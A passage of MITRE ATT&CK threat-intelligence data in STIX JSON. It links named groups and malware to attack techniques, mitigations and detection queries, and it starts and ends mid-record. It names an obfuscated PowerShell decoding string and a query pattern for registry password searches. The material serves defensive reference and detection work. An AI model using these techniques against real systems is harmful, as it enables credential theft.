2017)","relationship_type":"uses","source_ref":"malware--b6b3dfc7-9a81-43ff-ac04-698bad48973a","target_ref":"attack-pattern--eec23884-3fa1-4d8a-ac50-6f104d51e235","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--a568a6a5-860b-4fe1-9f00-ab6fbbb41a26","created":"2019-01-31T02:01:45.685Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"FireEye Hacking FIN4 Video Dec 2014","description":"Vengerik, B. & Dennesen, K.. (2014, December 5). Hacking the Street? FIN4 Likely Playing the Market. Retrieved January 15, 2019.","url":"https://www2.fireeye.com/WBNR-14Q4NAMFIN4.html"},{"source_name":"FireEye Hacking FIN4 Dec 2014","description":"Vengerik, B. et al.. (2014, December 5). Hacking the Street? FIN4 Likely Playing the Market. Retrieved December 17, 2018.","url":"https://www.mandiant.com/sites/default/files/2021-09/rpt-fin4.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-02-01T21:27:44.791Z","description":"[FIN4](https://attack.mitre.org/groups/G0085) has presented victims with spoofed Windows Authentication prompts to collect their credentials.(Citation: FireEye Hacking FIN4 Dec 2014)(Citation: FireEye Hacking FIN4 Video Dec 2014)","relationship_type":"uses","source_ref":"intrusion-set--d0b3393b-3bec-4ba3-bda9-199d30db47b6","target_ref":"attack-pattern--a2029942-0a85-4947-b23c-ca434698171d","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--a56aafe6-4a54-4ce5-b927-8b56826b3445","type":"relationship","created":"2018-01-16T16:13:52.465Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"ClearSky Wilted Tulip July 2017","description":"ClearSky Cyber Security and Trend Micro. (2017, July). Operation Wilted Tulip: Exposing a cyber espionage apparatus. Retrieved August 21, 2017.","url":"http://www.clearskysec.com/wp-content/uploads/2017/07/Operation_Wilted_Tulip.pdf"},{"source_name":"CopyKittens Nov 2015","description":"Minerva Labs LTD and ClearSky Cyber Security. (2015, November 23). CopyKittens Attack Group. Retrieved September 11, 2017.","url":"https://s3-eu-west-1.amazonaws.com/minervaresearchpublic/CopyKittens/CopyKittens.pdf"}],"modified":"2020-03-16T17:11:22.856Z","description":"[Matryoshka](https://attack.mitre.org/software/S0167) is capable of performing screen captures.(Citation: ClearSky Wilted Tulip July 2017)(Citation: CopyKittens Nov 2015)","relationship_type":"uses","source_ref":"malware--1cc934e4-b01d-4543-a011-b988dfc1a458","target_ref":"attack-pattern--0259baeb-9f63-4c69-bf10-eb038c390688","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--a56ece45-a76c-4b19-8999-6dde50b48409","created":"2022-08-11T22:53:59.022Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Checkpoint MosesStaff Nov 2021","description":"Checkpoint Research. (2021, November 15). Uncovering MosesStaff techniques: Ideology over Money. Retrieved August 11, 2022.","url":"https://research.checkpoint.com/2021/mosesstaff-targeting-israeli-companies/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-04-11T00:39:40.582Z","description":"[Moses Staff](https://attack.mitre.org/groups/G1009) has used obfuscated web shells in their operations.(Citation: Checkpoint MosesStaff Nov 2021)","relationship_type":"uses","source_ref":"intrusion-set--4c4a7846-45d5-4761-8eea-725fa989914c","target_ref":"attack-pattern--0d91b3c0-5e50-47c3-949a-2a796f04d144","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--a56eef39-6908-4aed-ad7d-c2dc44b0b9d1","created":"2024-04-12T10:56:02.914Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"NGLite Trojan","description":"Robert Falcone, Jeff White, and Peter Renals. (2021, November 7). Targeted Attack Campaign Against ManageEngine ADSelfService Plus Delivers Godzilla Webshells, NGLite Trojan and KdcSponge Stealer. Retrieved February 8, 2024.","url":"https://unit42.paloaltonetworks.com/manageengine-godzilla-nglite-kdcsponge/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-04-19T13:24:36.875Z","description":"[NGLite](https://attack.mitre.org/software/S1106) will use an AES encrypted channel for command and control purposes, in one case using the key WHATswrongwithUu.(Citation: NGLite Trojan)","relationship_type":"uses","source_ref":"malware--72b5f07f-5448-4e00-9ff2-08bc193a7b77","target_ref":"attack-pattern--24bfaeba-cb0d-4525-b3dc-507c77ecec41","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--a570d430-29ea-4c89-b25d-1370b44b0e5a","created":"2023-09-06T14:22:43.260Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Bitdefender Sardonic Aug 2021","description":"Budaca, E., et al. (2021, August 25). FIN8 Threat Actor Goes Agile with New Sardonic Backdoor. Retrieved August 9, 2023.","url":"https://www.bitdefender.com/files/News/CaseStudies/study/401/Bitdefender-PR-Whitepaper-FIN8-creat5619-en-EN.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-09-19T13:34:13.640Z","description":"[Sardonic](https://attack.mitre.org/software/S1085) has the ability to execute the `tasklist` command.(Citation: Bitdefender Sardonic Aug 2021)","relationship_type":"uses","source_ref":"malware--0c52f5bc-557d-4083-bd27-66d7cdb794bb","target_ref":"attack-pattern--8f4a33ec-8b1f-4b80-a2f6-642b2e479580","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--a5720510-fadb-496d-97b5-99cdabb051ab","type":"relationship","created":"2020-05-04T19:13:35.480Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Carbon Black HotCroissant April 2020","url":"https://www.carbonblack.com/2020/04/16/vmware-carbon-black-tau-threat-analysis-the-evolution-of-lazarus/","description":"Knight, S.. (2020, April 16). VMware Carbon Black TAU Threat Analysis: The Evolution of Lazarus. Retrieved May 1, 2020."}],"modified":"2020-05-04T19:13:35.480Z","description":"[HotCroissant](https://attack.mitre.org/software/S0431) has the ability to list running processes on the infected host.(Citation: Carbon Black HotCroissant April 2020)","relationship_type":"uses","source_ref":"malware--aad11e34-02ca-4220-91cd-2ed420af4db3","target_ref":"attack-pattern--8f4a33ec-8b1f-4b80-a2f6-642b2e479580","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--a573685b-3135-44ae-9f9a-844dfc5bdaa2","type":"relationship","created":"2020-11-06T18:02:10.616Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"CISA AA20-301A Kimsuky","url":"https://us-cert.cisa.gov/ncas/alerts/aa20-301a","description":"CISA, FBI, CNMF. (2020, October 27). https://us-cert.cisa.gov/ncas/alerts/aa20-301a. Retrieved November 4, 2020."}],"modified":"2020-11-06T18:02:10.616Z","description":"[Kimsuky](https://attack.mitre.org/groups/G0094) has used e-mail to send exfiltrated data to C2 servers.(Citation: CISA AA20-301A Kimsuky)","relationship_type":"uses","source_ref":"intrusion-set--0ec2f388-bf0f-4b5c-97b1-fc736d26c25f","target_ref":"attack-pattern--54b4c251-1f0e-4eba-ba6b-dbc7a6f6f06b","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--a5745ebf-1687-4e09-9ff4-97f9b741b144","created":"2022-03-30T14:26:51.868Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-09-20T20:22:23.529Z","description":"Monitor newly constructed services that abuse control manager to execute malicious commands or payloads.\n\nAnalytic 1 - Suspicious Service Creation\n\nsourcetype=WinEventLog:Security OR sourcetype=WinEventLog:System EventCode=4697 OR EventCode=7045\n| table _time, user, service_name, service_file_name, process_id\n| where service_file_name != \"*legitimate_software_path*\" // Exclude legitimate services\n ","relationship_type":"detects","source_ref":"x-mitre-data-component--5297a638-1382-4f0c-8472-0d21830bf705","target_ref":"attack-pattern--f1951e8a-500e-4a26-8803-76d95c4554b4","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--a575b110-f622-4813-9fa7-bef6287bcb7b","created":"2023-03-20T19:33:51.246Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"FireEye APT29 Nov 2018","description":"Dunwoody, M., et al. (2018, November 19). Not So Cozy: An Uncomfortable Examination of a Suspected APT29 Phishing Campaign. Retrieved November 27, 2018.","url":"https://www.fireeye.com/blog/threat-research/2018/11/not-so-cozy-an-uncomfortable-examination-of-a-suspected-apt29-phishing-campaign.html"},{"source_name":"Microsoft Unidentified Dec 2018","description":"Microsoft Defender Research Team. (2018, December 3). Analysis of cyberattack on U.S. think tanks, non-profits, public sector by unidentified attackers. Retrieved April 15, 2019.","url":"https://www.microsoft.com/security/blog/2018/12/03/analysis-of-cyberattack-on-u-s-think-tanks-non-profits-public-sector-by-unidentified-attackers/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-03-22T17:38:28.032Z","description":"During [C0021](https://attack.mitre.org/campaigns/C0021), the threat actors deobfuscated encoded PowerShell commands including use of the specific string `'FromBase'+0x40+'String'`, in place of `FromBase64String` which is normally used to decode base64.(Citation: FireEye APT29 Nov 2018)(Citation: Microsoft Unidentified Dec 2018)","relationship_type":"uses","source_ref":"campaign--712e38c3-a656-426a-9b3b-a6bfb63294c6","target_ref":"attack-pattern--3ccef7ae-cb5e-48f6-8302-897105fbf55c","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--a57c1d9d-0d2f-4206-a53f-d31ab7c53c17","created":"2022-07-18T20:35:25.531Z","x_mitre_version":"0.1","external_references":[{"source_name":"TrendMicro EarthLusca 2022","url":"https://www.trendmicro.com/content/dam/trendmicro/global/en/research/22/a/earth-lusca-employs-sophisticated-infrastructure-varied-tools-and-techniques/technical-brief-delving-deep-an-analysis-of-earth-lusca-operations.pdf","description":"Chen, J., et al. (2022). Delving Deep: An Analysis of Earth Lusca’s Operations. Retrieved July 1, 2022."}],"x_mitre_deprecated":false,"revoked":false,"description":"[Earth Lusca](https://attack.mitre.org/groups/G1006) has used the Fodhelper UAC bypass technique to gain elevated privileges.(Citation: TrendMicro EarthLusca 2022)","modified":"2022-07-18T20:35:25.531Z","relationship_type":"uses","source_ref":"intrusion-set--cc613a49-9bfa-4e22-98d1-15ffbb03f034","target_ref":"attack-pattern--120d5519-3098-4e1c-9191-2aa61232f073","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--a57d19ce-7a9a-4be5-ae59-a0b331bcc03a","created":"2022-06-03T18:07:18.347Z","x_mitre_version":"0.1","external_references":[{"source_name":"ClearSky Siamesekitten August 2021","url":"https://www.clearskysec.com/siamesekitten/","description":"ClearSky Cyber Security . (2021, August). New Iranian Espionage Campaign By “Siamesekitten” - Lyceum. Retrieved June 6, 2022."},{"source_name":"SecureWorks August 2019","url":"https://www.secureworks.com/blog/lyceum-takes-center-stage-in-middle-east-campaign","description":"SecureWorks 2019, August 27 LYCEUM Takes Center Stage in Middle East Campaign Retrieved. 2019/11/19 "}],"x_mitre_deprecated":false,"revoked":false,"description":"[HEXANE](https://attack.mitre.org/groups/G1001) has targeted executives, human resources staff, and IT personnel for spearphishing.(Citation: SecureWorks August 2019)(Citation: ClearSky Siamesekitten August 2021)\n","modified":"2022-06-06T15:46:37.770Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"uses","source_ref":"intrusion-set--f29b7c5e-2439-42ad-a86f-9f8984fafae3","target_ref":"attack-pattern--69f897fd-12a9-4c89-ad6a-46d2f3c38262","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--a581fb2c-604a-4417-b782-cafd76b11c37","type":"relationship","created":"2020-10-19T04:16:36.949Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2021-04-15T03:41:33.705Z","description":"Users can be trained to identify social engineering techniques and spearphishing attempts.","relationship_type":"mitigates","source_ref":"course-of-action--2a4f6c11-a4a7-4cb9-b0ef-6ae1bb3a718a","target_ref":"attack-pattern--8982a661-d84c-48c0-b4ec-1db29c6cf3bc","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--a582e4e0-8fdd-4bc6-8cb4-197d3fc3a42c","type":"relationship","created":"2022-03-30T14:26:51.864Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.864Z","description":"Use process monitoring to monitor the execution and arguments of Regsvcs.exe and Regasm.exe. Compare recent invocations of Regsvcs.exe and Regasm.exe with prior history of known good arguments and executed binaries to determine anomalous and potentially adversarial activity.","source_ref":"x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077","target_ref":"attack-pattern--c48a67ee-b657-45c1-91bf-6cdbe27205f8","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--a5840067-79c4-4965-832c-ebca455cc17c","type":"relationship","created":"2020-09-09T15:19:32.155Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"FireEye Maze May 2020","url":"https://www.fireeye.com/blog/threat-research/2020/05/tactics-techniques-procedures-associated-with-maze-ransomware-incidents.html","description":"Kennelly, J., Goody, K., Shilko, J. (2020, May 7). Navigating the MAZE: Tactics, Techniques and Procedures Associated With MAZE Ransomware Incidents. Retrieved May 18, 2020."}],"modified":"2020-09-09T15:19:32.155Z","description":"(Citation: FireEye Maze May 2020)","relationship_type":"uses","source_ref":"intrusion-set--2a7914cf-dff3-428d-ab0f-1014d1c28aeb","target_ref":"malware--d9f7383c-95ec-4080-bbce-121c9384457b","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--a5848605-3931-4dc8-a3e4-299683258c0f","created":"2023-03-09T22:12:30.649Z","revoked":false,"external_references":[{"source_name":"Cylance Dust Storm","description":"Gross, J. (2016, February 23). Operation Dust Storm. Retrieved December 22, 2021.","url":"https://s7d2.scene7.com/is/content/cylance/prod/cylance-web/en-us/resources/knowledge-center/resource-library/reports/Op_Dust_Storm_Report.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-03-09T22:12:30.649Z","description":"[S-Type](https://attack.mitre.org/software/S0085) has deleted accounts it has created.(Citation: Cylance Dust Storm)","relationship_type":"uses","source_ref":"malware--66b1dcde-17a0-4c7b-95fa-b08d430c2131","target_ref":"attack-pattern--d2c4e5ea-dbdf-4113-805a-b1e2a337fb33","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--a5848e5c-0a64-44f2-9432-4d503baea628","type":"relationship","created":"2020-05-27T13:35:36.629Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"CheckPoint Naikon May 2020","url":"https://research.checkpoint.com/2020/naikon-apt-cyber-espionage-reloaded/","description":"CheckPoint. (2020, May 7). Naikon APT: Cyber Espionage Reloaded. Retrieved May 26, 2020."}],"modified":"2020-06-03T20:11:27.728Z","description":"[Aria-body](https://attack.mitre.org/software/S0456) has the ability to duplicate a token from ntprint.exe.(Citation: CheckPoint Naikon May 2020)","relationship_type":"uses","source_ref":"malware--3161d76a-e2b2-4b97-9906-24909b735386","target_ref":"attack-pattern--86850eff-2729-40c3-b85e-c4af26da4a2d","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--a584d785-0c26-43e3-93c3-3e4caf397768","type":"relationship","created":"2021-07-07T02:22:10.622Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"win10_asr","url":"https://docs.microsoft.com/microsoft-365/security/defender-endpoint/attack-surface-reduction","description":"Microsoft. (2021, July 2). Use attack surface reduction rules to prevent malware infection. Retrieved June 24, 2021."}],"modified":"2021-10-15T20:18:30.925Z","description":"On Windows 10, enable Attack Surface Reduction (ASR) rules to prevent Office applications from creating child processes and from writing potentially malicious executable content to disk. (Citation: win10_asr)","relationship_type":"mitigates","source_ref":"course-of-action--90f39ee1-d5a3-4aaa-9f28-3b42815b0d46","target_ref":"attack-pattern--3d1b9d7e-3921-4d25-845a-7d9f15c0da44","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--a5872314-732e-4896-a817-13986774d62c","created":"2023-03-17T14:53:53.888Z","revoked":false,"external_references":[{"source_name":"ClearSky Lazarus Aug 2020","description":"ClearSky Research Team. (2020, August 13). Operation 'Dream Job' Widespread North Korean Espionage Campaign. Retrieved December 20, 2021.","url":"https://www.clearskysec.com/wp-content/uploads/2020/08/Dream-Job-Campaign.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-03-17T14:53:53.888Z","description":"During [Operation Dream Job](https://attack.mitre.org/campaigns/C0022), [Lazarus Group](https://attack.mitre.org/groups/G0032) conducted word searches within documents on a compromised host in search of security and financial matters.(Citation: ClearSky Lazarus Aug 2020)","relationship_type":"uses","source_ref":"campaign--0257b35b-93ef-4a70-80dd-ad5258e6045b","target_ref":"attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--a5888362-00f3-4c9e-98ee-048aee5169e1","type":"relationship","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"FireEye FIN10 June 2017","description":"FireEye iSIGHT Intelligence. (2017, June 16). FIN10: Anatomy of a Cyber Extortion Operation. Retrieved June 25, 2017.","url":"https://www2.fireeye.com/rs/848-DID-242/images/rpt-fin10.pdf"},{"url":"https://github.com/PowerShellEmpire/Empire","description":"Schroeder, W., Warner, J., Nelson, M. (n.d.). Github PowerShellEmpire. Retrieved April 28, 2016.","source_name":"Github PowerShell Empire"}],"modified":"2021-04-09T14:46:58.787Z","description":"[FIN10](https://attack.mitre.org/groups/G0051) uses PowerShell for execution as well as PowerShell Empire to establish persistence.(Citation: FireEye FIN10 June 2017)(Citation: Github PowerShell Empire)","relationship_type":"uses","source_ref":"intrusion-set--fbe9387f-34e6-4828-ac28-3080020c597b","target_ref":"attack-pattern--970a3432-3237-47ad-bcca-7d8cbb217736","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--a58983e1-45d7-4b45-a578-307659a619dc","type":"relationship","created":"2018-01-16T16:13:52.465Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Palo Alto OilRig May 2016","description":"Falcone, R. and Lee, B.. (2016, May 26). The OilRig Campaign: Attacks on Saudi Arabian Organizations Deliver Helminth Backdoor. Retrieved May 3, 2017.","url":"http://researchcenter.paloaltonetworks.com/2016/05/the-oilrig-campaign-attacks-on-saudi-arabian-organizations-deliver-helminth-backdoor/"}],"modified":"2020-03-16T16:55:39.516Z","description":"The executable version of [Helminth](https://attack.mitre.org/software/S0170) has a module to log clipboard contents.(Citation: Palo Alto OilRig May 2016)","relationship_type":"uses","source_ref":"malware--eff1a885-6f90-42a1-901f-eef6e7a1905e","target_ref":"attack-pattern--30973a08-aed9-4edf-8604-9084ce1b5c4f","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--a58ad2d1-7200-4ba8-9c24-fc640306ea2f","type":"relationship","created":"2017-05-31T21:33:27.081Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://www.welivesecurity.com/wp-content/uploads/2017/02/Read-The-Manual.pdf","description":"Faou, M. and Boutin, J. (2017, February). Read The Manual: A Guide to the RTM Banking Trojan. Retrieved March 9, 2017.","source_name":"ESET RTM Feb 2017"}],"modified":"2020-05-12T22:13:16.666Z","description":"[RTM](https://attack.mitre.org/groups/G0048) has used an RSS feed on Livejournal to update a list of encrypted C2 server names.(Citation: ESET RTM Feb 2017)","relationship_type":"uses","source_ref":"intrusion-set--c416b28c-103b-4df1-909e-78089a7e0e5f","target_ref":"attack-pattern--f7827069-0bf2-4764-af4f-23fae0d181b7","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--a58b2f24-9fa1-4dd6-9977-7c201fbfe5ed","type":"relationship","created":"2020-02-25T18:49:52.381Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2020-03-23T23:11:24.941Z","description":"Ensure SSH key pairs have strong passwords and refrain from using key-store technologies such as ssh-agent unless they are properly protected.","relationship_type":"mitigates","source_ref":"course-of-action--90c218c3-fbf8-4830-98a7-e8cfb7eaa485","target_ref":"attack-pattern--4d2a5b3e-340d-4600-9123-309dd63c9bf8","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--a58cbb63-024b-4b78-8dad-4661ee445212","type":"relationship","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://documents.trendmicro.com/assets/tech-brief-untangling-the-patchwork-cyberespionage-group.pdf","description":"Lunghi, D., et al. (2017, December). Untangling the Patchwork Cyberespionage Group. Retrieved July 10, 2018.","source_name":"TrendMicro Patchwork Dec 2017"}],"modified":"2019-07-11T13:53:05.708Z","description":"[Patchwork](https://attack.mitre.org/groups/G0040) removed certain files and replaced them so they could not be retrieved.(Citation: TrendMicro Patchwork Dec 2017)","relationship_type":"uses","source_ref":"intrusion-set--17862c7d-9e60-48a0-b48e-da4dc4c3f6b0","target_ref":"attack-pattern--d63a3fb8-9452-4e9d-a60a-54be68d5998c","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--a5931b14-3087-4fc5-8167-498fc1af23f1","created":"2023-07-25T20:14:45.153Z","revoked":false,"external_references":[{"source_name":"Mandiant Suspected Turla Campaign February 2023","description":"Hawley, S. et al. (2023, February 2). Turla: A Galaxy of Opportunity. Retrieved May 15, 2023.","url":"https://www.mandiant.com/resources/blog/turla-galaxy-opportunity"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-07-25T20:14:45.153Z","description":"[KOPILUWAK](https://attack.mitre.org/software/S1075) has exfiltrated collected data to its C2 via POST requests.(Citation: Mandiant Suspected Turla Campaign February 2023)","relationship_type":"uses","source_ref":"malware--09fcc02f-f9d4-43fa-8609-5e5e186b7103","target_ref":"attack-pattern--92d7da27-2d91-488e-a00c-059dc162766d","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--a5a63d5c-acf7-4720-866d-fcf6e576a58f","type":"relationship","created":"2017-05-31T21:33:27.032Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Mandiant Operation Ke3chang November 2014","description":"Villeneuve, N., Bennett, J. T., Moran, N., Haq, T., Scott, M., & Geers, K. (2014). OPERATION “KE3CHANG”: Targeted Attacks Against Ministries of Foreign Affairs. Retrieved November 12, 2014.","url":"https://www.mandiant.com/resources/operation-ke3chang-targeted-attacks-against-ministries-of-foreign-affairs"},{"source_name":"NCC Group APT15 Alive and Strong","description":"Smallridge, R. (2018, March 10). APT15 is alive and strong: An analysis of RoyalCli and RoyalDNS. Retrieved April 4, 2018.","url":"https://research.nccgroup.com/2018/03/10/apt15-is-alive-and-strong-an-analysis-of-royalcli-and-royaldns/"}],"modified":"2021-11-01T21:12:14.856Z","description":"Malware used by [Ke3chang](https://attack.mitre.org/groups/G0004) can run commands on the command-line interface.(Citation: Mandiant Operation Ke3chang November 2014)(Citation: NCC Group APT15 Alive and Strong)","relationship_type":"uses","source_ref":"intrusion-set--6713ab67-e25b-49cc-808d-2b36d4fbc35c","target_ref":"attack-pattern--7385dfaf-6886-4229-9ecd-6fd678040830","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--a5a90de4-41ab-4275-9dfe-c0ddc6ab7565","created":"2022-03-30T14:26:51.840Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-08-14T17:58:13.521Z","description":"Monitor executed commands and arguments that may search the Registry on compromised systems for insecurely stored credentials.\n\nAnalytic 1 - Commands indicating credential searches in the registry.\n\n (index=security sourcetype=\"powershell\" EventCode=4104 ScriptBlockText=\"*reg query* /f password /t REG_SZ 